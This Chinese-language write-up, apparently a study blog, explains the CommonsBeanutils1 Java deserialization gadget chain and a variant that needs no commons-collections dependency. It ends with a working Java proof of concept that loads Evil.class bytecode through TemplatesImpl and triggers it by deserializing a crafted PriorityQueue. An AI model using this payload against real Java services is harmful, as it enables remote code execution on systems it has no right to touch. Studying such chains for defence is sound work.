cb-1

CommonsBeanutils1

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。

这个类有个共有静态方法 getProperty() ,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。

1
PropertyUtils.getProperty(new Cat(), "name");

类似这样的代码就会自动找到name属性的getter方法,也就是 getName ,然后调用,获得返回值。除此之外PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

然后这里就发现在TemplatesImpl的利用链中是有一个方法getOutputProperties()这个方法是outputProperties的getter,所以我们就可以利用这点去触发。

对于readObject的选择上,用了优先队列PriorityQueue类的readObject,因为他readObject中调用了了 heapify() 方法, heapify() 中调用了 siftDown() , siftDown() 中调用了siftDownUsingComparator() , siftDownUsingComparator() 中调⽤的comparator.compare() ,就可以去触发BeanComparator的compare方法完成调用链。

无cc依赖

这里说一下无cc依赖的改造,主要先分析当前哪里用到了cc的依赖,

image-20211220161433412

当我们传入的comparator为空的时候他会去调用cc依赖中的ComparableComparator

image-20211220161556868

那这其实就是找一个类来代替这个类,这个类的要求实现java.util.Comparator 接口,实现 java.io.Serializable 接口,Java、shiro或commons-beanutils自带,且兼容性强

这里用p神发现的一个类CaseInsensitiveComparator

这个是 java.lang.String 类下的一个内部私有类,其实现了

Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化BeanComparator

所以就可以直接写出需要cc的cb1链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
InputStream inputStream = Test.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
//
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field clasa = TemplatesImpl.class.getDeclaredField("_class");
clasa.setAccessible(true);
clasa.set(tmpl, null);
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "Pupi1");
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{tmpl, tmpl});
String s =Tools.base64Encode(Tools.serialize(queue));
Tools.deserialize(Tools.base64Decode(s));